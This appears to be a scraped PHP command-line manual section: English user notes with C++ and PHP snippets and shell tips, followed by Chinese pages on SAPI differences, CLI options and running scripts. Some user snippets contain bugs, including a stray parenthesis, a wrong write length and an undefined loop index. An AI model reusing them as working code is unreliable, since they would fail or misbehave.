sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

// Create the handles for our two pipes (two handles per pipe, one for each end)
// We will have one pipe for stdin, and one for stdout, each with a READ and WRITE end
HANDLE hStdoutRd, hStdoutWr, hStdinRd, hStdinWr;

// Now create the pipes, and make them inheritable
CreatePipe (&hStdoutRd, &hStdoutWr, &sa, 0))
SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0);
CreatePipe (&hStdinRd, &hStdinWr, &sa, 0)
SetHandleInformation(hStdinWr, HANDLE_FLAG_INHERIT, 0);

// Now we have two pipes, we can create the process
// First, fill out the usage structs
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = hStdoutWr;
si.hStdInput  = hStdinRd;

// And finally, create the process
CreateProcess (NULL, "c:\\php\\php-win.exe", NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

// Close the handles we aren't using
CloseHandle(hStdoutWr);
CloseHandle(hStdinRd);

// Now that we have the process running, we can start pushing PHP at it
WriteFile(hStdinWr, "<?php echo 'test'; ?>", 9, &dwWritten, NULL);

// When we're done writing to stdin, we close that pipe
CloseHandle(hStdinWr);

// Reading from stdout is only slightly more complicated
int i;

std::string processed("");
char buf[128];

while ( (ReadFile(hStdoutRd, buf, 128, &dwRead, NULL) && (dwRead != 0)) ) {
    for (i = 0; i < dwRead; i++)
        processed += buf[i];
}

// Done reading, so close this handle too
CloseHandle(hStdoutRd);

A full implementation (implemented as a C++ class) is available at http://www.stromcode.com
drewish at katherinehouse dot com 25-Sep-2005 12:08
When you're writing one line php scripts remember that 'php://stdin' is your friend. Here's a simple program I use to format PHP code for inclusion on my blog:

UNIX:
  cat test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"

DOS/Windows:
  type test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"
OverFlow636 at gmail dot com 19-Sep-2005 12:27
I needed this, you proly wont tho.
puts the exicution args into $_GET
<?php
if ($argv) {
    foreach ($argv as $k=>$v)
    {
        if ($k==0) continue;
        $it = explode("=",$argv[$i]);
        if (isset($it[1])) $_GET[$it[0]] = $it[1];
    }
}
?>
docey 14-Jul-2005 05:44
dunno if this is on linux the same but on windows evertime
you send somthing to the console screen php is waiting for
the console to return. therefor if you send a lot of small
short amounts of text, the console is starting to be using
more cpu-cycles then php and thus slowing the script.

take a look at this sheme:
cpu-cycle:1 ->php: print("a");
cpu-cycle:2 ->cmd: output("a");
cpu-cycle:3 ->php: print("b");
cpu-cycle:4 ->cmd: output("b");
cpu-cycle:5 ->php: print("c");
cpu-cycle:6 ->cmd: output("c");
cpu-cylce:7 ->php: print("d");
cpu-cycle:8 ->cmd: output("d");
cpu-cylce:9 ->php: print("e");
cpu-cycle:0 ->cmd: output("e");

on the screen just appears "abcde". but if you write
your script this way it will be far more faster:
cpu-cycle:1 ->php: ob_start();
cpu-cycle:2 ->php: print("abc");
cpu-cycle:3 ->php: print("de");
cpu-cycle:4 ->php: $data = ob_get_contents();
cpu-cycle:5 ->php: ob_end_clean();
cpu-cycle:6 ->php: print($data);
cpu-cycle:7 ->cmd: output("abcde");

now this is just a small example but if you are writing an
app that is outputting a lot to the console, i.e. a text
based screen with frequent updates, then its much better
to first cach all output, and output is as one big chunk of
text instead of one char a the time.

ouput buffering is ideal for this. in my script i outputted
almost 4000chars of info and just by caching it first, it
speeded up by almost 400% and dropped cpu-usage.

because what is being displayed doesn't matter, be it 2
chars or 40.0000 chars, just the call to output takes a
great deal of time. remeber that.

maybe someone can test if this is the same on unix-based
systems. it seems that the STDOUT stream just waits for
the console to report ready, before continueing execution.
roberto dot dimas at gmail dot com 26-May-2005 01:52
One of the things I like about perl and vbscripts, is the fact that I can name a file e.g. 'test.pl' and just have to type 'test, without the .pl extension' on the windows command line and the command processor knows that it is a perl file and executes it using the perl command interpreter.

I did the same with the file extension .php3 (I will use php3 exclusivelly for command line php scripts, I'm doing this because my text editor VIM 6.3 already has the correct syntax highlighting for .php3 files ).

I modified the PATHEXT environment variable in Windows XP, from the " 'system' control panel applet->'Advanced' tab->'Environment Variables' button-> 'System variables' text area".

Then from control panel "Folder Options" applet-> 'File Types' tab, I added a new file extention (php3), using the button 'New'  and typing php3 in the window that pops up.

Then in the 'Details for php3 extention' area I used the 'Change' button to look for the Php.exe executable so that the php3 file extentions are associated with the php executable.

You have to modify also the 'PATH' environment variable, pointing to the folder where the php executable is installed

Hope this is useful to somebody
obfuscated at emailaddress dot com 25-Feb-2005 08:15
This posting is not a php-only problem, but hopefully will save someone a few hours of headaches.  Running on MacOS (although this could happen on any *nix I suppose), I was unable to get the script to execute without specifically envoking php from the command line:

[macg4:valencia/jobs] tim% test.php
./test.php: Command not found.

However, it worked just fine when php was envoked on the command line:

[macg4:valencia/jobs] tim% php test.php
Well, here we are...  Now what?

Was file access mode set for executable?  Yup.

[macg4:valencia/jobs] tim% ls -l
total 16
-rwxr-xr-x  1 tim  staff   242 Feb 24 17:23 test.php

And you did, of course, remember to add the php command as the first line of your script, yeah?  Of course.

#!/usr/bin/php
<?php print "Well, here we are...  Now what?\n"; ?>

So why dudn't it work?  Well, like I said... on a Mac.... but I also occasionally edit the files on my Windows portable (i.e. when I'm travelling and don't have my trusty Mac available)...  Using, say, WordPad on Windows... and BBEdit on the Mac...

Aaahhh... in BBEdit check how the file is being saved!  Mac?  Unix?  or Dos?  Bingo.  It had been saved as Dos format.  Change it to Unix:

[macg4:valencia/jobs] tim% ./test.php
Well, here we are...  Now what?
[macg4:valencia/jobs] tim%

NB: If you're editing your php files on multiple platforms (i.e. Windows and Linux), make sure you double check the files are saved in a Unix format...  those \r's and \n's 'll bite cha!
linn at backendmedia dot com 06-Feb-2004 06:12
For those of you who want the old CGI behaviour that changes to the actual directory of the script use:
chdir(dirname($_SERVER['argv'][0]));

at the beginning of your scripts.
ben at slax0rnet dot com 02-Feb-2004 07:34
Just a note for people trying to use interactive mode from the commandline.

The purpose of interactive mode is to parse code snippits without actually leaving php, and it works like this:

[root@localhost php-4.3.4]# php -a
Interactive mode enabled

<?php echo "hi!"; ?>
<note, here we would press CTRL-D to parse everything we've entered so far>
hi!
<?php exit(); ?>
<ctrl-d here again>
[root@localhost php-4.3.4]#

I noticed this somehow got ommited from the docs, hope it helps someone!
Adam, php(at)getwebspace.com 17-Jun-2003 04:12
Ok, I've had a heck of a time with PHP > 4.3.x and whether to use CLI vs CGI. The CGI version of 4.3.2 would return (in browser):
---
No input file specified.
---

And the CLI version would return:
---
500 Internal Server Error
---

It appears that in CGI mode, PHP looks at the environment variable PATH_TRANSLATED to determine the script to execute and ignores command line. That is why in the absensce of this environment variable, you get "No input file specified." However, in CLI mode the HTTP headers are not printed. I believe this is intended behavior for both situations but creates a problem when you have a CGI wrapper that sends environment variables but passes the actual script name on the command line.

By modifying my CGI wrapper to create this PATH_TRANSLATED environment variable, it solved my problem, and I was able to run the CGI build of 4.3.2
monte at ispi dot net 04-Jun-2003 03:47
I had a problem with the $argv values getting split up when they contained plus (+) signs. Be sure to use the CLI version, not CGI to get around it.

Monte
Popeye at P-t-B dot com 18-Apr-2003 08:15
In *nix systems, use the WHICH command to show the location of the php binary executable. This is the path to use as the first line in your php shell script file. (#!/path/to/php -q) And execute php from the command line with the -v switch to see what version you are running.

example:

# which php
/usr/local/bin/php
# php -v
PHP 4.3.1 (cli) (built: Mar 27 2003 14:41:51)
Copyright (c) 1997-2002 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2002 Zend Technologies

In the above example, you would use: #!/usr/local/bin/php

Also note that, if you do not have the current/default directory in your PATH (.), you will have to use ./scriptfilename to execute your script file from the command line (or you will receive a "command not found" error). Use the ENV command to show your PATH environment variable value.
volkany at celiknet dot com 20-Feb-2003 01:44
Here goes a very simple clrscr function for newbies...
function clrscr() { system("clear"); }
Alexander Plakidin 14-Feb-2003 05:34
How to change current directory in PHP script to script's directory when running it from command line using PHP 4.3.0?
(you'll probably need to add this to older scripts when running them under PHP 4.3.0 for backwards compatibility)

Here's what I am using:
chdir(preg_replace('/\\/[^\\/]+$/',"",$PHP_SELF));

Note: documentation says that "PHP_SELF" is not available in command-line PHP scripts. Though, it IS available. Probably this will be changed in future version, so don't rely on this line of code...

Use $_SERVER['PHP_SELF'] instead of just $PHP_SELF if you have register_globals=Off
phpnotes at ssilk dot de 22-Oct-2002 03:36
To hand over the GET-variables in interactive mode like in HTTP-Mode (e.g. your URI is myprog.html?hugo=bla&bla=hugo), you have to call

php myprog.html '&hugo=bla&bla=hugo'

(two & instead of ? and &!)

There just a little difference in the $ARGC, $ARGV values, but I think this is in those cases not relevant.
jeff at noSpam[] dot genhex dot net 06-Sep-2002 05:13
You can also call the script from the command line after chmod'ing the file (ie: chmod 755 file.php).

On your first line of the file, enter "#!/usr/bin/php" (or to wherever your php executable is located).  If you want to suppress the PHP headers, use the line of "#!/usr/bin/php -q" for your path.
pyxl at jerrell dot com 18-Feb-2002 11:52
Assuming --prefix=/usr/local/php, it's better to create a symlink from /usr/bin/php or /usr/local/bin/php to target /usr/local/php/bin/php so that it's both in your path and automatically correct every time you rebuild.  If you forgot to do that copy of the binary after a rebuild, you can do all kinds of wild goose chasing when things break.


如何得知自己使用的是哪个 SAPI？

  • ? PHP 的命令行模式
  • 和其它 SAPI 模块的区别 ?
  • PHP Manual
  • PHP 的命令行模式
  • 如何得知自己使用的是哪个 SAPI？

CLI SAPI 模块主要用作 PHP 的开发外壳应用。CLI SAPI 和其它 SAPI 模块相比有很多的不同之处，我们将在本章中详细阐述。值得一提的是，尽管 CLI 和 CGI 有很多共同的行为，但它们是不同的 SAPI。

CLI SAPI 模块会通过默认的 --enable-cli 参数设置启用， 也可以在运行 ./configure 时用参数 --disable-cli 来屏蔽。

CLI/CGI 二进制执行文件的文件名、位置和是否存在会根据 PHP 在系统上的安装而不同。在默认情况下，当运行 make 时，CGI 和 CLI 都会被编译并且分别放置在 PHP 源文件目录的 sapi/cgi/php-cgi 和 sapi/cli/php 下。可以注意到两个文件都被命名为了 php。在 make install 的过程中会发生什么取决于配置行。如果在配置的时候选择了一个 SAPI 模块，如 apxs，或者使用了 --disable-cgi 参数，则在 make install 的过程中，CLI 将被拷贝到 {PREFIX}/bin/php，除非 CGI 已经被放置在了那个位置。因此，例如，如果在配置行中有 --with--apxs，则在 make install 的过程中，CLI 将被拷贝到 {PREFIX}/bin/php。如果希望覆盖 CGI 执行文件的安装，请在 make install 之后运行 make install-cli。或者，也可以在配置行中加上 --disable-cgi 参数。

Note:

由于 --enable-cli 和 --enable-cgi 同时默认有效，因此，不必再配置行中加上 --enable-cli 来使得 CLI 在 make install 过程中被拷贝到 {PREFIX}/bin/php。

在 Windows 发行包中，CLI 在主目录中的二进制文件名为 php.exe。CGI 版本的文件名为 php-cgi.exe。 如果 PHP 配置使用了 --enable-cli-win32，还会有一个额外的 php-win.exe 随包发布。 它相当于 CLI 版本，但是 php-win 不输出任何内容，便不提供控制台（不会弹出"DOS 窗口"）。

Note: 如何得知自己使用的是哪个 SAPI？

在命令行下，运行 php -v 便能得知该 php 是 CGI 还是 CLI。请参考函数 php_sapi_name() 以及常量 PHP_SAPI。

Note:

在命令行中键入 man php 可以查看 Unix man 手册页面。

User Contributed Notes

Anonymous 16-Jan-2021 09:54
SAPI = Server Application Programming Interface
CGI = Common Gateway Interface


和其它 SAPI 模块的区别

以下为 CLI SAPI 和其它 SAPI 模块相比的显著区别：

  • 与 CGI SAPI 不同，其输出没有任何头信息。

    尽管 CGI SAPI 提供了取消 HTTP 头信息的方法，但在 CLI SAPI 中并不存在类似的方法以开启 HTTP 头信息的输出。

    CLI 默认以安静模式开始，但为了保证兼容性，-q 和 --no-header 参数为了向后兼容仍然保留，使得可以使用旧的 CGI 脚本。

    在运行时，不会把工作目录改为脚本的当前目录（可以使用 -C 和 --no-chdir 参数来兼容 CGI 模式）。

    出错时输出纯文本的错误信息（非 HTML 格式）。

  • CLI SAPI 强制覆盖了 php.ini 中的某些设置，因为这些设置在外壳环境下是没有意义的。

    覆盖 php.ini 设置选项
    设置选项 | CLI SAPI 默认值 | 备注
    html_errors | false | 无意义的 HTML 标记符会使得出错信息很凌乱，所以在外壳下阅读报错信息是十分困难的。因此将该选项的默认值改为 false。
    implicit_flush | true | 在命令行模式下，所有来自 print 和 echo 的输出将被立即写到输出端，而不作任何地缓冲操作。如果希望延缓或控制标准输出，仍然可以使用 output buffering 设置项。
    max_execution_time | 0（无限值） | 鉴于在外壳环境下使用 PHP 的无穷的可能性，最大运行时间被设置为了无限值。为 web 开发的应用程序可能只需运行几秒钟时间，而外壳应用程序的运行时间可能会长的多。
    register_argc_argv true

    由于该设置为 true，将总是可以在 CLI SAPI 中访问到 argc（传送给应用程序参数的个数）和 argv（包含有实际参数的数组）。

    在使用 CLI SAPI 时，PHP 变量 $argc 和 $argv 已被注册并且设定了对应的值。随时可以通过 $_SERVER 数组 来访问它们，例如：$_SERVER['argv']

    output_buffering false

    虽然 php.ini 设置已经硬编码为 false， 输出缓冲控制函数仍然有效。

    max_input_time false

    PHP CLI 不支持 GET、POST、文件上传。

    Note:

    这些设置无法在设置文件 php.ini 或任何指定的其它文件中被初始化为其它值。这些默认值被限制在所有其它的设置文件被解析后改变。 不过，它们的值可以在程序运行的过程中被改变 （尽管对于该运行过程来说，这些设置项是没有意义的，例如 register_argc_argv）。

    Note:

    推荐命令行脚本设置 ignore_user_abort。 更多信息参见 ignore_user_abort()。

  • 为了减轻外壳环境下的工作，我们为 I/O 流 定义了一系列常量。

  • CLI SAPI 不会将当前目录改为已运行的脚本所在的目录。

    以下范例显示了本模块与 CGI SAPI 模块之间的不同：

    <?php
    // 名为 test.php 的简单测试程序
    echo getcwd(), "\n";
    ?>

    在使用 CGI 版本时，其输出为

    $ pwd
/tmp

$ php-cgi -f another_directory/test.php
/tmp/another_directory

    明显可以看到 PHP 将当前目录改成了刚刚运行过的脚本所在的目录。

    使用 CLI SAPI 模式，得到：

    $ pwd
/tmp

$ php -q another_directory/test.php
/tmp
    这使得在利用 PHP 编写外壳工具时获得了很大的便利。

    Note:

    可以在命令行运行时给该 CGI SAPI 加上 -C 参数，使其支持 CLI SAPI 的功能。

User Contributed Notes

There are no user contributed notes for this page.


命令行选项

PHP 二进制文件可以随时通过执行带 -h 参数的 PHP 命令获取提供的命令行选项列表：

Usage: php [options] [-f] <file> [--] [args...]
   php [options] -r <code> [--] [args...]
   php [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...]
   php [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...]
   php [options] -- [args...]
   php [options] -a

  -a               Run interactively
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse and execute <file>.
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -r <code>        Run PHP <code> without using script tags <?..?>
  -B <begin_code>  Run PHP <begin_code> before processing input lines
  -R <code>        Run PHP <code> for every input line
  -F <file>        Parse and execute <file> for every input line
  -E <end_code>    Run PHP <end_code> after processing all input lines
  -H               Hide any passed arguments from external tools.
  -S <addr>:<port> Run with built-in web server.
  -t <docroot>     Specify document root <docroot> for built-in web server.
  -s               Output HTML syntax highlighted source.
  -v               Version number
  -w               Output source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.

  args...          Arguments passed to script. Use -- args when first argument
                   starts with - or script is read from stdin

  --ini            Show configuration file names

  --rf <name>      Show information about function <name>.
  --rc <name>      Show information about class <name>.
  --re <name>      Show information about extension <name>.
  --rz <name>      Show information about Zend extension <name>.
  --ri <name>      Show configuration for extension <name>.

命令行选项
选项 | 长选项 | 说明
-a --interactive

运行交互式 PHP。参阅交互式 shell 章节获取更多信息。

-b --bindpath

外部 FASTCGI 服务器模式绑定路径（仅 CGI 可用）。

-C --no-chdir

不改变脚本的目录（仅 CGI 可用）。

-q --no-header

安静模式。禁止输出 HTTP 头（仅 CGI 可用）。

-T --timing

测量脚本重复 count 次的执行时间（仅 CGI 可用）。

-c --php-ini

在指定目录查找 php.ini 或者自定义 INI 文件（名称可以不是 php.ini），例如：

$ php -c /custom/directory/ my_script.php

$ php -c /custom/directory/custom-file.ini my_script.php

如果未指定此选项，php.ini 将在默认位置搜索。

-n --no-php-ini

完全忽略 php.ini。

-d --define

允许设置 php.ini 中配置指令的值。语法是：

 -d configuration_directive[=value]

# 忽略值部分，将会设置配置指令为 "1"
$ php -d max_execution_time
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(1) "1"

# 传递空值，将会设置配置指令为 ""
php -d max_execution_time=
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(0) ""

# 配置指令将会设置为 '=' 字符之后传递的任何值
$  php -d max_execution_time=20
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(2) "20"
$  php
        -d max_execution_time=doesntmakesense
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(15) "doesntmakesense"

-e --profile-info

激活扩展信息模式，用于调试/分析。

-f --file

解析并执行指定文件。 -f 可选且可以忽略 —— 只需提供需要执行的文件名就足够。

-h and -? | --help and --usage | 输出命令行选项列表并描述了这些选项的作用。
-i | --info | 调用 phpinfo() 并输出结果。如果 PHP 不能正常工作，建议使用命令 php -i 查看在信息表输出之前或者中间某个位置是否有错误消息。注意当使用 CGI 模式时会输出 HTML， 这会非常大。
-l --syntax-check

提供了仅对指定 PHP 代码进行语法检查的便捷方法。 成功时将会在标准输出中写入 No syntax errors detected in <filename> 并且 shell 返回码为 0。失败时除了将会在标准输出中写入内部解析错误消息之外，还会写入 Errors parsing <filename>，并且 shell 返回码为 -1。

此选项不能发现像是函数未定义之类的核心错误（fatal errors）。可以使用 -f 测试核心错误（fatal errors）。

Note:

此选项不能和 -r 一起使用。

-m --modules

Example #1 打印内置（且已加载的） PHP 和 Zend 模块

$ php -m
[PHP Modules]
xml
tokenizer
standard
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

-r --run

允许在命令行内直接执行单行 PHP 代码。 不需要加上 PHP 开始和结束标识符（<?php 和 ?>），否则将会造成语法错误。

Note:

使用这种形式的 PHP 时，应注意避免和 shell 环境进行的命令行参数替换相冲突。

Example #2 当使用双引号时会造成语法错误

$ php -r "$foo = get_defined_constants();"
PHP Parse error:  syntax error, unexpected '=' in Command line code on line 1

Parse error: syntax error, unexpected '=' in Command line code on line 1

这里的问题是在使用双引号 " 时 sh/bash 会执行变量替换。 由于 $foo 变量没有被定义，因此它将替换为空字符， 从而导致传递给 PHP 执行的代码实际上会变成：

$ php -r " = get_defined_constants();"

正确的方式是使用单引号 ' 。使用单引号时 sh/bash 不会进行变量替换。

Example #3 使用单引号防止 shell 变量替换

$ php -r '$foo = get_defined_constants(); var_dump($foo);'
array(370) {
  ["E_ERROR"]=>
  int(1)
  ["E_WARNING"]=>
  int(2)
  ["E_PARSE"]=>
  int(4)
  ["E_NOTICE"]=>
  int(8)
  ["E_CORE_ERROR"]=>
  [...]

如果使用的 shell 不是 sh/bash，可能会碰到更多的问题 —— 如果有的话，请向 » https://github.com/php/php-src/issues 报告 bug。试图在命令行中使用（ shell/PHP ）变量或者使用反斜杠转义时需要格外小心，因为很容易遇到问题。勿谓言之不预！

Note:

可以在 CLI SAPI 中使用 -r，但不能在 CGI SAPI 中使用。

Note:

此选项仅适用于非常基本的代码，因此在此模式下会忽略某些配置指令（如 auto_prepend_file 和 auto_append_file）。

-B --process-begin

处理 stdin 之前需要执行的 PHP 代码。

-R --process-code

对每个输入行都执行的 PHP 代码。

此模式下有两个特殊变量： $argn 和 $argi。 $argn 将包含 PHP 正在处理的行， $argi 将包含正在处理的行号。

-F --process-file

对每个输入行都执行的 PHP 文件。

-E --process-end

在处理完输入后执行的 PHP 代码。

Example #4 使用 -B 、 -R 、 -E 选项统计项目总行数。

$ find my_proj | php -B '$l=0;' -R '$l += count(@file($argn));' -E 'echo "Total Lines: $l\n";'
Total Lines: 37328

-S --server

启动 内置 web 服务器.

-t | --docroot | 为内置 web 服务器指定文档根目录。
-s --syntax-highlight 和 --syntax-highlighting

为源代码添加语法高亮显示。

此选项将使用内部机制解析文件并将生成的 HTML 高亮版本写入到标准输出。 注意它所做的只是生成一块 <code> [...] </code> HTML 标记，没有 HTML header。

Note:

此选项不能和 -r 一起使用。

-v --version

Example #5 使用 -v 获取 SAPI 的名称以及 PHP 和 Zend 的版本号

$ php -v
PHP 5.3.1 (cli) (built: Dec 11 2009 19:55:07)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2009 Zend Technologies

-w --strip

显示忽略注释和空格后的源代码。

Note:

此选项不能和 -r 一起使用。

-z --zend-extension

加载 Zend 扩展。如果仅指定了文件名，PHP 将尝试从当前系统默认函数库中尝试加载此扩展 （例如在 Linux 上通常是 /etc/ld.so.conf）。 传递绝对路径的文件名将不会使用系统库搜索路径。如果用相对路径指定的文件名，则 PHP 仅试图在当前目录的相对目录加载扩展库。

--ini

展示配置文件名和扫描目录。

Example #6 --ini 示例

$ php --ini
Configuration File (php.ini) Path: /usr/dev/php/5.2/lib
Loaded Configuration File:         /usr/dev/php/5.2/lib/php.ini
Scan for additional .ini files in: (none)
Additional .ini files parsed:      (none)
--rf --rfunction

展示指定函数或者类方法的有关信息（例如参数名称和数量）。

如果 PHP 在编译时启用 Reflection 支持，该选项才可以使用。

Example #7 基础 --rf 用法

$ php --rf var_dump
Function [ <internal> public function var_dump ] {

  - Parameters [2] {
    Parameter #0 [ <required> $var ]
    Parameter #1 [ <optional> $... ]
  }
}
--rc --rclass

展示指定类的有关信息（常量、属性和方法的列表）。

如果 PHP 在编译时启用 Reflection 支持，该选项才可以使用。

Example #8 --rc 示例

$ php --rc Directory
Class [ <internal:standard> class Directory ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [0] {
  }

  - Methods [3] {
    Method [ <internal> public method close ] {
    }

    Method [ <internal> public method rewind ] {
    }

    Method [ <internal> public method read ] {
    }
  }
}
--re --rextension

展示指定扩展的有关信息（php.ini 选项、定义函数、常量和类的列表）。

如果 PHP 在编译时启用 Reflection 支持，该选项才可以使用。

Example #9 --re 示例

$ php --re json
Extension [ <persistent> extension #19 json version 1.2.1 ] {

  - Functions {
    Function [ <internal> function json_encode ] {
    }
    Function [ <internal> function json_decode ] {
    }
  }
}
--rz --rzendextension

展示指定 Zend 扩展的配置信息（也可以通过 phpinfo()返回相同信息）。

--ri --rextinfo

展示指定扩展的配置信息（也可以通过 phpinfo()返回相同信息）。 使用 "main" 作为扩展名可以获取到核心配置信息。

Example #10 --ri 示例

$ php --ri date

date

date/time support => enabled
"Olson" Timezone Database Version => 2009.20
Timezone Database => internal
Default timezone => Europe/Oslo

Directive => Local Value => Master Value
date.timezone => Europe/Oslo => Europe/Oslo
date.default_latitude => 59.930972 => 59.930972
date.default_longitude => 10.776699 => 10.776699
date.sunset_zenith => 90.583333 => 90.583333
date.sunrise_zenith => 90.583333 => 90.583333

Note:

选项 -rBRFEH、 --ini 、 --r[fcezi] 仅可以在 CLI 中使用。

User Contributed Notes

dch 03-Nov-2023 10:33
If you would like to see the PHP's current configuration using the -i switch from the shell command line with php.ini specified, then the order of arguments is important. Putting -i after -c gives the intended result.

Info is printed out for the default php.ini (cli)
$ php -i --php-ini /etc/php/7.4/fpm/php.ini | grep -i "loaded conf"
Loaded Configuration File => /etc/php/7.4/cli/php.ini

Info is printed out for the desired php.ini (fpm)
$ php --php-ini /etc/php/7.4/fpm/php.ini -i | grep -i "loaded conf"
Loaded Configuration File => /etc/php/7.4/fpm/php.ini
yanshinian at yeah dot net 24-Dec-2018 02:00
get ./configure

php -i |grep configure

Configure Command =>  './configure'  '--prefix=/app/webserver/php5' '--with-config-file-path=/app/webserver/php5/etc' '--with-config-file-scan-dir=/app/webserver/php5/etc/php.d' '--enable-inline-optimization' '--disable-debug' '--disable-rpath' '--enable-shared' '--enable-opcache' '--enable-fpm' '--with-fpm-user=appuser' '--with-fpm-group=appuser' '--with-mysql=mysqlnd' '--with-mysqli=mysqlnd' '--with-pdo-mysql=mysqlnd' '--with-gettext' '--enable-mbstring' '--enable-exif' '--enable-ftp' '--enable-wddx' '--with-iconv' '--with-mcrypt' '--with-mhash' '--with-openssl' '--enable-bcmath' '--enable-soap' '--with-libxml-dir' '--enable-pcntl' '--enable-shmop' '--enable-sysvmsg' '--enable-sysvsem' '--enable-sysvshm' '--enable-sockets' '--enable-gd-native-ttf' '--enable-gd-jis-conv' '--enable-calendar' '--with-curl=/app/webserver/curl' '--with-zlib' '--enable-zip' '--with-bz2' '--with-readline' '--with-gd' '--with-freetype-dir' '--with-png-dir' '--with-jpeg-dir' '--with-vpx-dir' '--with-xpm-dir' '--with-t1lib' '--disable-json'
Ap.Muthu 03-Oct-2014 03:08
If we start the php's built in webserver (PHP v5.4 onwards) with:
        php -S localhost:8000 -t htdocs
and have an image file picture.jpg in it
and reference it in a html page with:
         <img src="picture.jpg">
the rendered page will not show the image and the html code behind the image is:
        http://localhost:8000/index.php/picture.jpg

If however, the html code in the page is:
         <img src="/picture.jpg">
the picture displays correctly.

Hence relative addressing is broken in PHP 5.4.33 Win32 VC9 build.


执行 PHP 文件

CLI SAPI 有三种不同的方法执行 PHP 代码：

  1. 让 PHP 运行指定文件。

    $ php my_script.php

$ php -f my_script.php

    以上两种方法（使用或不使用 -f 参数）都能够运行给定的 my_script.php 文件。注意，没有限制可以执行哪种文件， 特别是文件名也不必用 .php 作为扩展名。

  2. 在命令行中直接传递 PHP 代码执行。

    $ php -r 'print_r(get_defined_constants());'

    必须特别注意 shell 变量的替代及引号的使用。

    Note:

    请仔细阅读以上范例，它们没有开始和结束标识符！加上 -r 参数后不需要这些标记符，并且加上它们还会导致语法错误。

  3. 通过标准输入（stdin）提供需要运行的 PHP 代码。

    这为动态创建 PHP 代码并通过二进制文件执行提供了强大的能力，就像下面（虚构的）例子展示的一样：

    $ some_application | some_filter | php | sort -u > final_output.txt
以上三种运行代码的方法不能混合使用。

和所有的 shell 应用程序一样，PHP 的二进制文件及其 PHP 脚本能够接受一系列的参数。PHP 没有限制传送给脚本的参数的个数（ shell 对传递的字符数有限制，但通常都不会超过该限制）。传递给脚本的参数可在全局数组 $argv 中获取。第一个索引（零）始终包含从命令行中调用的脚本名称。注意在命令行内使用 -r 执行 PHP 代码时， $argv[0] 的值将是 "Standard input code"； 在 PHP 7.2.0 之前是破折号（-）。如果代码是通过来自 STDIN 的管道执行的，同样如此。

另外，第二个全局变量 $argc 包含 $argv 数组中元素的个数（而不是传递给脚本的参数个数）。

只要传送给脚本的参数不是以 - 字符开头，就无需过多的注意什么。向脚本传递以 - 开头的参数会导致错误，因为 PHP 会认为在执行脚本之前应该由它自身来处理这些参数。为防止发生这种情况，可以用列表分隔符 -- 参数来解决。在 PHP 解析此分隔符之后， 该符号后的所有参数将会被原样传递给脚本程序。

# 以下命令将不会运行 PHP 代码，而只显示 PHP 命令行模式的使用说明
$ php -r 'var_dump($argv);' -h
Usage: php [options] [-f] <file> [args...]
[...]

# 将会传递 "-h" 参数传送给脚本，且 PHP 不会显示命令行模式的使用说明
$ php -r 'var_dump($argv);' -- -h
array(2) {
  [0]=>
  string(1) "-"
  [1]=>
  string(2) "-h"
}

然而，在 Unix 系统中还有一个将 PHP 用于 shell 脚本的方法：写个脚本，第一行以 #!/usr/bin/php 为开头 （如果 PHP CLI 二进制文件路径不一样，则可以指定为任意实际的路径）。文件的剩余部分应该包含通用的 PHP 开始标签、正常的 PHP 代码、PHP 结束标签。一旦设置正确的文件执行属性（例如 chmod +x test），脚本就像其他 shell/perl 脚本一样可以执行。

Example #1 PHP 脚本作为 shell 脚本执行

#!/usr/bin/php
<?php
var_dump($argv);
?>

假设在当前目录下，该文件名为 test，可以做如下操作：

$ chmod +x test
$ ./test -h -- foo
array(4) {
  [0]=>
  string(6) "./test"
  [1]=>
  string(2) "-h"
  [2]=>
  string(2) "--"
  [3]=>
  string(3) "foo"
}

正如看到的，在向该脚本传递以 - 开头的参数时，无需关心这种情况。

PHP 可执行文件可用于运行完全独立于 web 服务器的 PHP 脚本。在 Unix 系统上，需要在 PHP 脚本的第一行指定 #!（或者说 "shebang"）以便系统可以自动判断用哪个程序运行脚本。 在 Windows 平台上可以使用双击扩展名是.php的文件与 php.exe 相关联，也可以编写一个批处理文件使用 PHP 运行脚本。为 Unix 系统增加的指定 shebang 的第一行代码不会影响 Windows （它也是 PHP 注释的格式），因此也可以用该方法编写跨平台的程序。以下是编写的一个简单 PHP 命令行程序的示例。

Example #2 试图以命令行方式运行的 PHP 脚本（script.php）

#!/usr/bin/php
<?php

if ($argc != 2 || in_array($argv[1], array('--help', '-help', '-h', '-?'))) {
?>

This is a command line PHP script with one option.

Usage:
<?php echo $argv[0]; ?> <option>

<option> can be some word you would like
to print out. With the --help, -help, -h,
or -? options, you can get this help.

<?php
} else {
echo $argv[1];
}
?>

在以上脚本中，用包含 Unix shebang 的第一行代码来指明该文件应该由 PHP 来执行。这里使用 CLI 版本运行，因此不会输出 HTTP 头。

程序首先检查是否有需要的参数（除了脚本名，因为它也会被计算进来）。如果没有参数或者参数是 --help、 -help、 -h、 -?，将会打印出帮助消息， 在命令行上使用 $argv[0] 动态输出脚本名称。否则参数将按照接收的方式进行准确回显。

如果在 Unix 下运行以上脚本，它必须有可执行权限，并简单的以 script.php echothis 或者 script.php -h 方式调用。在 Windows 下，可以为此类任务编写与以下内容类似的批处理文件：

